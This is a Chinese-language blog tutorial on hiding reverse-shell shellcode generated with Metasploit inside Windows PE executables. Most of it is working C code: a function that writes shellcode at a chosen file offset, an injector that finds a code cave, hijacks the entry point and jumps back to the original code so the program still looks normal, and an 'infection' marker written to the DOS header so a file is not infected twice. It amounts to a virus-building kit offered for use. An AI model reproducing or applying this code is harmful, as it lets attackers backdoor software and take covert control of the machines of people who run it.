本章筆者將介紹一種通過Metasploit生成ShellCode並將其註入到特定PE文件內的Shell植入技術。該技術能夠劫持原始PE文件的入口地址,在PE程式運行之前執行ShellCode反彈,執行後掛入後臺並繼續運行原始程式,實現了一種隱蔽的Shell訪問。而我把這種技術叫做位元組註入反彈。位元組註... ...
本章筆者將介紹一種通過Metasploit生成ShellCode並將其註入到特定PE文件內的Shell註入技術。該技術能夠劫持原始PE文件的入口地址,在PE程式運行之前執行ShellCode反彈,執行後掛入後臺並繼續運行原始程式,實現了一種隱蔽的Shell訪問。而我把這種技術叫做位元組註入反彈。
位元組註入功能調用WritePEShellCode
函數,該函數的主要作用是接受用戶傳入的一個文件位置,並可以將一段通過Metasploit
工具生成的有效載荷註入到特定文件偏移位置處。
讀者在使用該函數之前需要通過WinHex
找到註入位置,我們以如下截圖中的30352
為例;
接著讀者需要自行準備一段ShellCode
代碼,只保留代碼部分去掉頭部變數參數,如下所示;
接著我們使用如下這段代碼中的WritePEShellCode
函數,通過傳入指定PE文件路徑,指定文件便宜,以及指定的ShellCode
文件路徑,即可自動將其壓縮為一行併在壓縮後將代碼寫出到指定的可執行文件內。
// 將ShellCode寫出到PE程式的特定位置
// 參數1: 指定PE路徑 參數2: 指定文件中的偏移(十進位) 參數3: 指定ShellCode文件
void WritePEShellCode(const char* FilePath, long FileOffset, const char* ShellCode)
{
HANDLE hFile = NULL;
FILE* fpointer = NULL;
DWORD dwNum = 0;
int count = 0;
char shellcode[8192] = { 0 };
unsigned char save[8192] = { 0 };
// 打開一段ShellCode代碼並處理為一行
if ((fpointer = fopen(ShellCode, "r")) != NULL)
{
char ch = 0;
for (int x = 0; (ch = fgetc(fpointer)) != EOF;)
{
if (ch != L'\n' && ch != L'\"' && ch != L'\\' && ch != L'x' && ch != L';')
{
shellcode[x++] = ch;
count++;
}
}
}
_fcloseall();
// 將單位元組合併為雙位元組
for (int x = 0; x < count / 2; x++)
{
unsigned int char_in_hex;
if (shellcode[x] != 0)
{
sscanf(shellcode + 2 * x, "%02X", &char_in_hex);
// 每十六位元組換一行輸出
if ((x+1) % 16 == 0)
{
printf("0x%02X \n", char_in_hex);
}
else
{
printf("0x%02X ", char_in_hex);
}
save[x] = char_in_hex;
}
}
// 打開PE文件並寫出ShellCode到指定位置
hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE != hFile)
{
SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
bool ref = WriteFile(hFile, save, count/2 , &dwNum, NULL);
if (true == ref)
{
printf("\n\n[*] 已註入 ShellCode 到PE文件 \n[+] 註入起始FOA => 0x%08X \n",FileOffset);
}
CloseHandle(hFile);
}
}
我們通過傳入WritePEShellCode("d://lyshark.exe", 30352, "d://shellcode.txt");
參數,運行後則可將特定文本中的機器碼註入到30352
的位置處,讀者也可以通過使用WinHex
跳轉到對應位置觀察,如下所示;
當然了上述方法註入到PE
文件中我們需要手動分析尋找空餘塊,併在註入成功後還需要自行修正PE
文件內的入口地址等,這種方式適合於對PE
結構非常熟悉的人可以,但也要花費一些精力去尋找分析,如下代碼則是實現了自動化註入功能,該代碼中FindSpace()
函數用於從代碼節的末尾開始搜索,尋找特定長度的空餘位置,當找到合適的縫隙後便返回縫隙首地址。
此時dwOep
變數記憶體儲的是該程式原始的OEP
入口位置,接著將入口地址賦值到*(DWORD *)&shellcode[5]
也就是放入到shellcode
機器碼的第六個位置處,此處將變更為跳轉到原始入口的指令集,接著調用memcpy
函數將shellcode
代碼拷貝到新分配的dwAddr
記憶體中,此處的strlen(shellcode) + 3
代表的是ShellCode
中剩餘的\xff\xe0\x00
部分,最後將當前EIP
指針設置為我們自己的ShellCode
所在位置,通過pNtHeader->OptionalHeader.AddressOfEntryPoint
賦值設置此變數,至此這個註入器就算實現啦。
#include <stdio.h>
#include <stddef.h>
#include <windows.h>
// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
// 縫隙的搜索從代碼節的末尾開始搜索,有利於快速搜索到縫隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
// 跳過可選頭長度的數據
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
// 獲取到文件末尾的位置
DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
LPVOID lp = malloc(sizeof(shellcode));
memset(lp, 0, sizeof(shellcode));
while (dwAddr > pSec->Misc.VirtualSize)
{
int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
if (nRet == 0)
return dwAddr;
dwAddr--;
}
free(lp);
return 0;
}
int main(int argc, char* argv[])
{
HANDLE hFile, hMap = NULL;
LPVOID lpBase = NULL;
hFile = CreateFile(L"d://lyshark.exe", GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;
PIMAGE_SECTION_HEADER pSec = NULL;
IMAGE_SECTION_HEADER imgSec = { 0 };
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("[-] 文件非可執行文件 \n");
return -1;
}
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
// 查找空餘位元組
DWORD dwAddr = FindSpace(lpBase, pNtHeader);
printf("[*] 找到 %d 位元組 | 起始地址: %X \n", sizeof(shellcode), dwAddr);
// 獲取到原入口地址
DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;
// \xb8 => 填充的就是原始程式的OEP
*(DWORD *)&shellcode[5] = dwOep;
printf("[-] 原始入口地址: 0x%08X \n", dwOep);
// 將shellcode 拷貝到dwAddr記憶體空間里,拷貝長度strlen(shellcode) + 3
memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
printf("[-] 拷貝記憶體長度: 0x%08X \n", dwAddr);
// 將新的入口地址,賦值給原始程式的地址上
pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
system("pause");
return 0;
}
讀者可自行編譯並運行上述代碼,當運行結束後會將ShellCode
全局變數中的指令集,寫入到lyshark.exe
程式內,並修正當前程式的OEP
入口處,此時讀者可運行lyshark.exe
程式,看是否能夠正常執行起來,如下圖所示;
此時讀者可自行打開x64dbg
調試器,觀察此時的程式入口處已經變成了0x47BFF3
執行到最後則通過jmp eax
跳轉到了原始的程式入口處繼續執行,這也就是空位元組註入的功能,當讀者自己將nop
指令替換為任意特殊的彙編指令時,也就實現了一款註入Shell版本的軟體。
當我們對特定的程式插入Shell後,則還需要對該程式增加一個標誌,在PE結構中有許多地方可以寫入這個標誌,例如DOS
頭部存在一個e_cblp
變數,通過向該變數寫入一個標誌,當需要判斷是否被感染時讀取此處並檢查是否存在特定值即可,如下代碼則是一個檢查實現方式。
#include <stdio.h>
#include <stddef.h>
#include <windows.h>
#define VIRUSFLAGS 0xCCCC
// 向指定文件寫入感染標誌
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
DWORD dwNum = 0;
SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
return TRUE;
}
// 檢查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
DWORD dwSigNum = 0;
DWORD dwNum = 0;
SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);
if (dwSigNum == dwSig)
return TRUE;
return FALSE;
}
int main(int argc, char* argv[])
{
HANDLE hFile, hMap = NULL;
LPVOID lpBase = NULL;
hFile = CreateFileA("d://lyshark.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;
PIMAGE_SECTION_HEADER pSec = NULL;
IMAGE_SECTION_HEADER imgSec = { 0 };
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("[-] 文件非可執行文件 \n");
return -1;
}
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
// 寫入感染標誌
WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);
// 返回真說明感染過
if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile))
{
printf("[+] 文件已被感染,無法重覆感染. \n");
}
system("pause");
return 0;
}
由於e_cblp
是第二個欄位,所以在填充後我們打開WinHex
就可以看到變化,如下圖所示;
本文作者: 王瑞
本文鏈接: https://www.lyshark.com/post/240d333e.html
版權聲明: 本博客所有文章除特別聲明外,均採用 BY-NC-SA 許可協議。轉載請註明出處!
文章出處:https://www.cnblogs.com/LyShark/p/17692859.html
本博客所有文章除特別聲明外,均採用 BY-NC-SA 許可協議。轉載請註明出處!